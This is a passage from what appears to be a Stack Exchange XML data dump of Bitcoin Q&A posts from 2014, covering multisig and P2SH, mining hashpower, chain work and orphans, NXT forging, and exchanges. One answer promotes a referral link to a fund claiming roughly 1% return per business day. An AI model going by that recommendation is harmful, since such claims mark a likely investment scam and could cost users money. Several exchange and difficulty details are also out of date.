  <row Id="29708" PostTypeId="1" AcceptedAnswerId="29819" CreationDate="2014-07-26T03:11:57.170" Score="7" ViewCount="4039" Body="&lt;p&gt;If I understand correctly, there are two methods to perform a multi-signature transactions in Bitcoin. One is &quot;pay to pub key hash&quot;, which is a method commonly used to send standard single signature transactions. The other is &quot;pay to script hash&quot;, as specified in &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;BIP 16&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use &quot;Pay to pub key hash&quot; , any senders to the multisig address need to specify all the public keys involved in the multisig address, which can be cumbersome. If you use &quot;pay to script hash&quot; , the sender only needs to know the hash of the script , which is equivalent to the length of a single bitcoin address.  Obviously, &quot;pay to script hash&quot; fits better with the various infrastructure already setup around the standard transaction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other advantages or disadvantages between the two methods? &lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="7267" LastEditDate="2014-07-26T03:35:12.150" LastActivityDate="2014-08-01T08:10:14.983" Title="Multi-signature and &quot;pay to script hash&quot; vs &quot;pay to pub key hash&quot;" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29709" PostTypeId="2" ParentId="29707" CreationDate="2014-07-26T05:12:27.703" Score="2" Body="&lt;p&gt;One could suggest that PPC is unattackable by currently known methods because of its hybrid PoW/PoS model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NXT can be theoretically perpetually DoSed or at least hampered by DDoSing each successive forger since the network frequently knows with high certainty the IP of the next forger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most likely case is that no properly written cryptocurrency is generally attackable.  I have found no evidence of network attacks, but I'm not as deep into the communities as others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From very far away, they are indistinguishable: both slower than Ripple and less prestigious than Bitcoin; they're market capitalizations are evidence of those facts.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-07-26T05:12:27.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29710" PostTypeId="2" ParentId="11390" CreationDate="2014-07-26T06:10:23.167" Score="1" Body="&lt;p&gt;Yes, check out &lt;a href=&quot;https://onename.io&quot; rel=&quot;nofollow&quot;&gt;Onename&lt;/a&gt; - it's exactly what you're describing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows users to register usernames and associate those names with Bitcoin addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the key part is that these usernames are registered in a decentralized namespace according to &lt;a href=&quot;http://opennamesystem.org&quot; rel=&quot;nofollow&quot;&gt;Open Name System&lt;/a&gt; (a decentralized naming protocol).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decentralized namespace part means that anyone can look up the username-to-Bitcoin-address mappings directly in the blockchain (using something like &lt;a href=&quot;https://github.com/opennamesystem/opendig&quot; rel=&quot;nofollow&quot;&gt;opendig&lt;/a&gt;) and trust that the information is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, any wallet or exchange can support &quot;pay by username&quot; or &quot;withdraw by username&quot; just by looking up the data in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclosure: I'm one of the creators of onename and ONS.&lt;/p&gt;&#xA;" OwnerUserId="6767" LastEditorUserId="6767" LastEditDate="2014-09-17T15:01:36.240" LastActivityDate="2014-09-17T15:01:36.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29713" PostTypeId="2" ParentId="17271" CreationDate="2014-07-26T10:40:38.117" Score="-1" Body="&lt;p&gt;Most of bitcoin exchange hold client funds in their bitcoin address (HOT WALLET). THe trading between member is happen only in WEB VIEW and only by script. Because the real funds is sitting in exchange owned bitcoin address and only transferred to both of trader IF anyone making any withdrawals from the exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any comment on this statement? Am i right about this?&lt;/p&gt;&#xA;" OwnerUserId="18749" LastActivityDate="2014-07-26T10:40:38.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29714" PostTypeId="1" AcceptedAnswerId="29715" CreationDate="2014-07-26T18:16:56.293" Score="2" ViewCount="103" Body="&lt;p&gt;I have some AuroraCoins (AUR), minin' them on ghash.io.&#xA;I want to turn them into BTC and then use BTC (no USD!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some exchanging site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trust me, I've been Googling, Binging, DuckDuckGoing and others and found nothing.&lt;/p&gt;&#xA;" OwnerUserId="18751" LastEditorUserId="5406" LastEditDate="2014-07-26T21:30:19.427" LastActivityDate="2018-04-26T11:28:30.457" Title="Where can one trade AuroraCoins for Bitcoin?" Tags="|exchanges|auroracoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29715" PostTypeId="2" ParentId="29714" CreationDate="2014-07-26T18:31:41.977" Score="2" Body="&lt;p&gt;Create an account on Mintpal, they have a direct trading market: &lt;a href=&quot;https://www.mintpal.com/market/AUR/BTC&quot; rel=&quot;nofollow&quot;&gt;AUR/BTC&lt;/a&gt;. From Mintpal you can withdraw it to your own wallet or where ever you want to have it.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-07-26T18:31:41.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29716" PostTypeId="1" AcceptedAnswerId="29864" CreationDate="2014-07-26T20:24:28.737" Score="1" ViewCount="1431" Body="&lt;p&gt;I'd like to experiment with different minimum difficulty settings for my p2pool miners to see if I can get more shares per block. Does anyone have a formula or any recommendations for a minimum difficulty level, based on the GH/s available and the current share difficulty?&lt;/p&gt;&#xA;" OwnerUserId="18753" LastActivityDate="2014-08-04T17:05:00.593" Title="p2pool manual difficulty" Tags="|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29718" PostTypeId="1" AcceptedAnswerId="29722" CreationDate="2014-07-27T02:02:38.360" Score="2" ViewCount="28095" Body="&lt;p&gt;How much hashpower would I require to surely mine one block per day?&lt;/p&gt;&#xA;" OwnerUserId="18756" LastEditorUserId="5406" LastEditDate="2016-03-05T14:51:13.703" LastActivityDate="2019-01-14T09:23:26.713" Title="How much hashpower would I require to surely mine one block per day?" Tags="|hashpower|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29721" PostTypeId="2" ParentId="29718" CreationDate="2014-07-27T04:59:50.473" Score="2" Body="&lt;p&gt;About 40 TeraHash will make 1 btc a day  About 66 Thousands bux worth of miners. &#xA;And 400Amp power service. Maybe a lil more. &lt;/p&gt;&#xA;" OwnerUserId="18759" LastActivityDate="2014-07-27T04:59:50.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29722" PostTypeId="2" ParentId="29718" CreationDate="2014-07-27T05:05:47.263" Score="7" Body="&lt;p&gt;Divide &lt;a href=&quot;http://blockexplorer.com/q/hashestowin&quot;&gt;this number&lt;/a&gt; by the number of seconds in a day (86400) to get the required number of hashes per second to solve one block per day &lt;em&gt;on average&lt;/em&gt;. You might get more than one block on some days and no blocks on others. It's random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, you'd need about 931 TH/s, which is a ridiculous amount of mining power.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2014-07-27T05:16:41.920" LastActivityDate="2014-07-27T05:16:41.920" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29723" PostTypeId="2" ParentId="25473" CreationDate="2014-07-27T06:06:42.493" Score="0" Body="&lt;p&gt;This is a super useful method for people who own angelshares. It allow's them to see every address that could possible have been credited AGS, including change addresses. That way they can dumpprivkey and import them into a new DAC.&lt;/p&gt;&#xA;" OwnerUserId="18760" LastActivityDate="2014-07-27T06:06:42.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29724" PostTypeId="2" ParentId="28372" CreationDate="2014-07-27T06:29:01.450" Score="2" Body="&lt;p&gt;One solution is to use Nash equilibrium in order to force people to cooperate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The concept is quite simple. Both the seller and the buyer make a deposit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the entire buy/sell process goes fine they can recover their deposit, if it don't they both lose their deposit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it isn't profitable to go away with the money without sending the good nor to get the good without releasing the payment to the seller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solution has already been discussed. If you google bitcoin+nash+equilibrium you will find more informations.&lt;/p&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="10621" LastEditDate="2014-07-28T13:45:11.840" LastActivityDate="2014-07-28T13:45:11.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29725" PostTypeId="1" CreationDate="2014-07-27T07:02:16.147" Score="1" ViewCount="1268" Body="&lt;p&gt;I need to start a website to sell and buy goods with Bitcoin. Then I need to know how to add an shopping cart system for it. Are there any CMS plugins or modules for Joomla, Drupal, or another? Or can you tell me how to add a shopping cart system for a PHP based website without any modules?&lt;/p&gt;&#xA;" OwnerUserId="18761" LastEditorUserId="2306" LastEditDate="2014-08-22T19:52:38.303" LastActivityDate="2018-07-09T09:21:51.707" Title="How do I create a shopping cart that accepts Bitcoin?" Tags="|shopping-cart-interface|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29728" PostTypeId="1" CreationDate="2014-07-27T13:03:15.570" Score="2" ViewCount="129" Body="&lt;p&gt;I've heard some discussion about how certain private keys can be considered weaker because they were generated using a weak randomness algorithm. I have very little experience in this subject and currently most of my bitcoins are tied to a private key that I generated a while ago, using MultiBit V0.5.14. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering whether anybody with more experience about this can explain this subject more in detail.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-07-28T05:03:23.240" Title="Are specific private keys weaker than others?" Tags="|private-key|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29729" PostTypeId="2" ParentId="28372" CreationDate="2014-07-27T15:11:01.307" Score="2" Body="&lt;p&gt;Another way is with an arbitrator and multi-sig addresses. Payment is made to a multi-sig address where the sender, receiver, and an arbitrator each have a key. If the transaction goes well the sender and buyer each sign. In case of a dispute the arbitrator rules and signs either with the buyer to pass the money on or with the sender to return the money.&lt;/p&gt;&#xA;" OwnerUserId="9654" LastActivityDate="2014-07-27T15:11:01.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29730" PostTypeId="1" AcceptedAnswerId="29733" CreationDate="2014-07-27T18:51:12.553" Score="3" ViewCount="280" Body="&lt;p&gt;I signed up for a &lt;a href=&quot;https://harbor.ly/&quot; rel=&quot;nofollow&quot;&gt;harborly&lt;/a&gt; account but I'm still not quite sure how it works. I would like to buy some bitcoins, but how do I get money onto the site? &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2014-07-27T19:02:03.597" Title="How do I get money on and off of harborly?" Tags="|litecoin|buy-bitcoins|canada|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29732" PostTypeId="2" ParentId="10435" CreationDate="2014-07-27T18:56:39.450" Score="0" Body="&lt;p&gt;Check out &lt;a href=&quot;https://harbor.ly/&quot; rel=&quot;nofollow&quot;&gt;harborly&lt;/a&gt;. They let you buy bitcoin and litecoin directly with your Canadian bank account. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2014-07-27T18:56:39.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29733" PostTypeId="2" ParentId="29730" CreationDate="2014-07-27T19:02:03.597" Score="2" Body="&lt;p&gt;You cannot store your fiat currency directly on harborly. They're a lot like &lt;a href=&quot;https://coinbase.com/&quot; rel=&quot;nofollow&quot;&gt;coinbase&lt;/a&gt; in that they allow you to sync your bank accounts with your wallet. Instead of sending money to them, then buying and selling, whenever you buy or sell they directly credit or debit your synced bank account.&lt;/p&gt;&#xA;" OwnerUserId="18768" LastActivityDate="2014-07-27T19:02:03.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29734" PostTypeId="2" ParentId="28372" CreationDate="2014-07-27T21:09:10.867" Score="2" Body="&lt;p&gt;We are currently using notaries as a third party in a multisig transaction with arbiters serving as dispute resolution if there is an issue. You can read more at: &lt;a href=&quot;https://github.com/OpenBazaar/OpenBazaar/wiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/OpenBazaar/OpenBazaar/wiki&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18769" LastActivityDate="2014-07-27T21:09:10.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29735" PostTypeId="1" AcceptedAnswerId="29736" CreationDate="2014-07-27T21:33:57.497" Score="4" ViewCount="822" Body="&lt;p&gt;When using bitcoin-qt wallet, all commands are executed externally with bitcoind?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am asking because I saw an altcoin wallet-QT (DMD) which comes as a single file without any daemon file, does it mean the daemon is already built in the qt wallet?&lt;/p&gt;&#xA;" OwnerUserId="9795" LastEditorUserId="2306" LastEditDate="2015-01-17T19:11:26.023" LastActivityDate="2015-01-17T19:11:26.023" Title="Is bitcoin-qt using bitcoind? or bitcoind is already built in the bitcoin-qt wallet?" Tags="|bitcoind|bitcoin-core|daemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29736" PostTypeId="2" ParentId="29735" CreationDate="2014-07-27T21:56:58.553" Score="6" Body="&lt;p&gt;Bitcoin-qt does not run bitcoind as a &lt;a href=&quot;http://en.wikipedia.org/wiki/Daemon_%28computing%29&quot; rel=&quot;noreferrer&quot;&gt;daemon&lt;/a&gt;. If you check the running processes after you launch bitcoin-qt, you will  not see bitcoind being launched.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They both utilize the same &quot;Bitcoin Core&quot; source code obviously, but bitcoind and bitcoin-qt are separate programs and one does not need the other to function. You can think of bitcoind as a GUI-less implementation of &quot;Bitcoin Core&quot; and bitcoin-qt as the GUI implementation of &quot;Bitcoin Core&quot;.   &lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="7267" LastEditDate="2014-07-27T22:03:03.777" LastActivityDate="2014-07-27T22:03:03.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29738" PostTypeId="2" ParentId="29728" CreationDate="2014-07-28T01:50:47.010" Score="1" Body="&lt;p&gt;They are weaker in the sense that they are easier to guess because the attacker has a more limited set of private keys to guess from. All private keys are equal in terms of just taking a public key and trying to guess the corresponding private keys, because, without extra information, one has to check every possible private key (until the correct one is found). But when one knows the private keys weren't truly random, by implication one knows that there is a certain pattern to the possible private keys. This means that the attacker can guess private keys from this pattern which is smaller/quicker than guessing all possible private keys. I can't speak to the specific weak generator in question, as I haven't heard of it, but with a general understanding of cryptography, I can say this is what people mean when they speak of weaknesses in the key generator.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastEditorUserId="12616" LastEditDate="2014-07-28T05:03:23.240" LastActivityDate="2014-07-28T05:03:23.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29739" PostTypeId="2" ParentId="2564" CreationDate="2014-07-28T01:52:24.137" Score="2" Body="&lt;p&gt;For BitcoinJ (Java) it should be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public boolean isValidAddress(String address) {&#xA;    try {&#xA;        new Address(params, address);&#xA;        return true;&#xA;    } catch(AddressFormatException e) {&#xA;        return false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;API for address can be found here: &lt;a href=&quot;https://bitcoinj.github.io/javadoc/0.11/com/google/bitcoin/core/Address.html&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinj.github.io/javadoc/0.11/com/google/bitcoin/core/Address.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18591" LastActivityDate="2014-07-28T01:52:24.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29741" PostTypeId="1" AcceptedAnswerId="29748" CreationDate="2014-07-28T03:34:19.373" Score="1" ViewCount="6320" Body="&lt;p&gt;I just started using BitMinter on several computers. They have decent GPU's that are detected and working fine, but I'd like to be able to use my CPU's also and I can't seem to find any method to enable it.&lt;/p&gt;&#xA;" OwnerUserId="3102" LastEditorUserId="5406" LastEditDate="2016-04-09T07:50:46.707" LastActivityDate="2018-01-14T22:35:26.833" Title="Does BitMinter not use CPU's for mining at all?" Tags="|miner-configuration|mining-software|cpu-mining|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29742" PostTypeId="1" AcceptedAnswerId="29744" CreationDate="2014-07-28T03:38:11.877" Score="12" ViewCount="5338" Body="&lt;p&gt;Satoshi writes at the bottom of page 3 of his white paper that &quot;If two nodes broadcast different versions of the next block simultaneously, some nodes may receive one or the other first. In that case, they work on the first one they received, but save the other branch in case it becomes longer.&quot; It seems here that the correct chain is the longest one, although maybe satoshi was just being a little careless with phrasing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I have read other places that nodes choose the correct chain in Bitcoin by selecting the chain that represents the most work (or, in other words, the chain that would be hardest to undo). I'll call this the strongest chain. This is not necessarily the same as the longest chain since, for example, it is conceivable to have a block which took many more hashes to find a valid nonce than two other blocks with a much easier difficulty level. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5540/what-does-the-term-longest-chain-mean&quot;&gt;This stack exchange&lt;/a&gt; is one place that I have read this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Question 1&lt;/b&gt;: Which is the correct method that nodes use to determine the correct chain, longest chain or strongest chain? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My second question is more relevant if the answer to question 1 is that the correct chain is the strongest chain. It relates to orphaned blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the correct chain is the one that represents the most work then why are orphaned blocks such a problem? It seems like if a node solves a block and broadcasts it then everyone will know about it in a matter of seconds and then can start mining on the new block without any wasted work. Even if 2 miners solve a block at (near to) the same time, most blocks will see the two new blocks and choose the one with the lower header hash (because it is harder to find lower hashes). It seems that the nodes should come to a consensus in a matter of seconds then, if the correct chain is chosen by strongest (rather than longest) chain. The only time that a miner could spend working on the wrong chain would be time spent mining between receiving a solved block which is soon after replaced by a different solved block with a slightly lower hash. How long could that be, 10 sec? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Question 2&lt;/b&gt;: Are orphaned blocks a big problem for miners? If the block generation time were 1 minute, instead, would orphaned blocks be a much bigger problem? &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="5406" LastEditDate="2023-10-20T17:32:26.257" LastActivityDate="2023-10-20T17:32:26.257" Title="Strongest vs Longest chain and orphaned blocks" Tags="|blockchain|blockchain-fork|best-chain|stale-block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29743" PostTypeId="1" AcceptedAnswerId="29746" CreationDate="2014-07-28T06:02:21.157" Score="2" ViewCount="1059" Body="&lt;p&gt;I am looking for a technical answer that explains how are validated the forged block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already looked in the NXT wiki and in their white paper and found no detailed explanation.&lt;/p&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="10621" LastEditDate="2014-07-29T00:49:14.637" LastActivityDate="2014-07-29T00:49:14.637" Title="How does forging work?" Tags="|nxt|forging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29744" PostTypeId="2" ParentId="29742" CreationDate="2014-07-28T06:24:11.777" Score="13" Body="&lt;p&gt;The &quot;longest&quot; chain is the one with the most &lt;em&gt;work&lt;/em&gt;. A chain's &lt;em&gt;work&lt;/em&gt; is equal to the expected number of hashes it would take for someone to replicate a chain of the same number of blocks and the exact same difficulty steps. So currently each block adds about 2&lt;sup&gt;66&lt;/sup&gt; work to the chain because it takes on average ~2&lt;sup&gt;66&lt;/sup&gt; hashes to solve a block with the current difficulty. Blocks with less difficulty add less work. (The current total chain work is around 2&lt;sup&gt;80&lt;/sup&gt;.) &lt;strong&gt;However, two blocks in the same difficulty period always add the same amount of work to the chain.&lt;/strong&gt; A block with a lower hash is not considered better than one with a higher hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshi didn't initially realize that choosing the correct chain by just counting blocks allows for some extremely easy attacks. Version 0.1 just counted blocks. That's why the paper just says &quot;longest&quot;. The idea of &quot;chain work&quot; was added a little later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resolving orphans as you suggest might actually make orphans more likely because miners would be incentivized in some cases to try replacing the most recent block rather than extending it, especially right before a big difficulty adjustment or when the most recent block contains a lot of fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orphaned blocks happen every now and then. Eligius reports around 2% orphaned blocks. They would indeed be much more common if the target time was 1 minute since blocks would be generated faster and there would therefore be more opportunity for conflicts between blocks.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2014-07-28T17:33:08.637" LastActivityDate="2014-07-28T17:33:08.637" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="29746" PostTypeId="2" ParentId="29743" CreationDate="2014-07-28T09:17:10.343" Score="5" Body="&lt;p&gt;Below is an explanation how forging works at the current moment, in the future this will be slightly changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every block has two fields - BlockSignature and GenerationSignature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The former is filled by signing the block data with the private key of an account that generated a block and has almost nothing to do with forging process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latter is filled by computing SHA256(GenerationSignatureOfPreviousBlock+PublicKeyOfAccount).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 8 bytes of the hash give an unsigned 64-bit number in little-endian format, this number is called &quot;hit&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every account has a so-called EffectiveBalance which is usually (but not always) higher if the account holds more coins. EffectiveBalance is multiplied by some value that is the same for all the accounts - BaseTarget (it's adjusted every block trying to keep block generation rate at 1 minute) - and by number of seconds that have passed since the previous block. The resulting value is called &quot;target&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &quot;hit&quot; is less than &quot;target&quot; then peers accept a block and attach it to the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the essential part of forging. I omitted such obvious things as validation of transaction signatures, checks for double-spending, etc.&lt;/p&gt;&#xA;" OwnerUserId="18526" LastActivityDate="2014-07-28T09:17:10.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29748" PostTypeId="2" ParentId="29741" CreationDate="2014-07-28T14:37:27.120" Score="3" Body="&lt;p&gt;GPUs are obsolete for mining. You won't get any reward worth even close to your electricity and hardware degredation cost. This has been true for over a year at least.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CPUs are 1000x more wasteful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're too late to the home-mining game.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-07-28T14:37:27.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29749" PostTypeId="2" ParentId="29741" CreationDate="2014-07-28T14:57:56.930" Score="2" Body="&lt;p&gt;Your only real option is to mine for other alt coins (with your GPUs) that use an encryption algorithm for which ASICs have not yet been developed. Bitcoin GPU mining is not efficient. CPU mining is even worse.&lt;/p&gt;&#xA;" OwnerUserId="18753" LastActivityDate="2014-07-28T14:57:56.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29750" PostTypeId="2" ParentId="9015" CreationDate="2014-07-28T15:50:40.087" Score="0" Body="&lt;p&gt;I have been performing arbitrage via a PHP bot between bitfinex, btce, kraken, and poloniex for about 3 months. I have a total pool of about 1.5 btc that I am working with. My experience has been that the arbitrage opportunities on the books only last for a few sec. before the very competitive market recognizes the opportunity. I have an algorithm to identify book opportunities, and another to place offers on spreads, after commissions . Bottom line is that I can't make more than small change daily however, due to the very competitive markets. With a large pool of funds the opportunities do increase. I found a fund that seems to consistently deliver close to 1% return on business days, you might check out their blog - results page &lt;a href=&quot;https://bitcoin-trader.biz/?ref=arbitrage&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin-trader.biz/?ref=arbitrage&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18778" LastActivityDate="2014-07-28T15:50:40.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29754" PostTypeId="1" AcceptedAnswerId="29763" CreationDate="2014-07-29T03:02:33.680" Score="25" ViewCount="3698" Body="&lt;p&gt;What is the history of the current existing scripting language in Bitcoin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshi's original whitepaper on Bitcoin makes no mention of a stack based scripting language. So who was the first person to propose this idea and implement it? And why did they decide to choose a stack based language?&lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="15412" LastEditDate="2014-07-29T03:06:38.470" LastActivityDate="2014-12-13T00:15:23.970" Title="History behind the scripting language in Bitcoin?" Tags="|script|history|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29755" PostTypeId="1" AcceptedAnswerId="37660" CreationDate="2014-07-29T03:07:09.493" Score="6" ViewCount="5036" Body="&lt;p&gt;Where can I find a comparison chart between these crypto 2.0 currencies like NXT and ethereum? What are some of the major advantages of each of these coins in relation to one another? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="3029" LastEditDate="2015-11-13T21:10:52.880" LastActivityDate="2015-11-13T21:11:29.920" Title="Ethereum vs NXT Comparison Chart?" Tags="|nxt|ethereum|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29756" PostTypeId="1" CreationDate="2014-07-29T08:29:13.763" Score="0" ViewCount="1334" Body="&lt;p&gt;Which one is a more desirable feature in an altcoin?&#xA;The X11 or the Cryptonote?&#xA;Also why cnt the 2 be implemented together?&#xA;X11 seems to allow 11 algos to mine the coin, and cryptonote is based on something else. &lt;/p&gt;&#xA;" OwnerUserId="18337" LastActivityDate="2014-07-31T16:54:12.793" Title="Cryptonote vs an X11 Coin" Tags="|currencies|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29758" PostTypeId="1" AcceptedAnswerId="29762" CreationDate="2014-07-29T12:18:08.220" Score="4" ViewCount="1406" Body="&lt;p&gt;I have read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9667/why-would-bitcoin-qt-attempt-to-charge-a-processing-fee-when-i-have-my-transact&quot;&gt;Why would Bitcoin-QT attempt to charge a processing fee, when I have my transaction fees set to zero?&lt;/a&gt; but I still have a question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sending 0.01 BTC from my wallet to my Ethereum intermediate address and then back again, so as to verify recoverability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending 0.01 BTC worked fine without transaction fees. When sending it back I get &quot;The total exceeds your balance when the 0.0001 BTC transaction fee is included.&quot; although fees are set to zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is there a fee requirement in one direction only?&lt;/p&gt;&#xA;" OwnerUserId="14222" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-07-29T16:16:02.123" Title="Why is a minimum transaction fee for 0.01 BTC *sometimes* enforced" Tags="|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29759" PostTypeId="1" AcceptedAnswerId="29764" CreationDate="2014-07-29T15:00:24.330" Score="1" ViewCount="148" Body="&lt;p&gt;Are there any open APIs that connect to different cryptocurrencies, either with built-in capability or flexibility for plugins? Most APIs appear engineered for only one currency, usually just doge or btc. I'm wondering if there's a simpler, more adaptable solution than these coin-specific solutions, such that I could connect to multiple currencies from one code base. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this is a dumb question. I am pretty new to cryptocurrencies, and my goal is to learn and interact with them in the most beneficial, efficient way possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Languages preferred include python, js, C, julia, java, R. That's just a preference, not a requirement. &lt;/p&gt;&#xA;" OwnerUserId="18788" LastActivityDate="2014-07-29T18:12:29.950" Title="Coin-agnostic API?" Tags="|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29760" PostTypeId="1" AcceptedAnswerId="37941" CreationDate="2014-07-29T16:01:04.463" Score="2" ViewCount="55" Body="&lt;p&gt;I've &lt;a href=&quot;https://blog.ethereum.org/2014/06/19/mining/&quot; rel=&quot;nofollow&quot;&gt;heard it argued&lt;/a&gt; that when a mining algorithm is prone to hardware specialization, the centralization that introduces (e.g. one factory producing 25% of all ASICs) is a security risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if there's also a security benefit to hardware specialization: Since the amount of on-demand computation available to purchase may vastly exceed the amount of computation going into mining a cryptocurrency, is there a risk of someone executing a 51% attack by briefly renting an amount of computation greater than the network's?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's a significant risk, does hardware specialization mitigate it by increasing the miners' computing power relative to the power of general-purpose on-demand computing?&lt;/p&gt;&#xA;" OwnerUserId="13100" LastEditorUserId="18196" 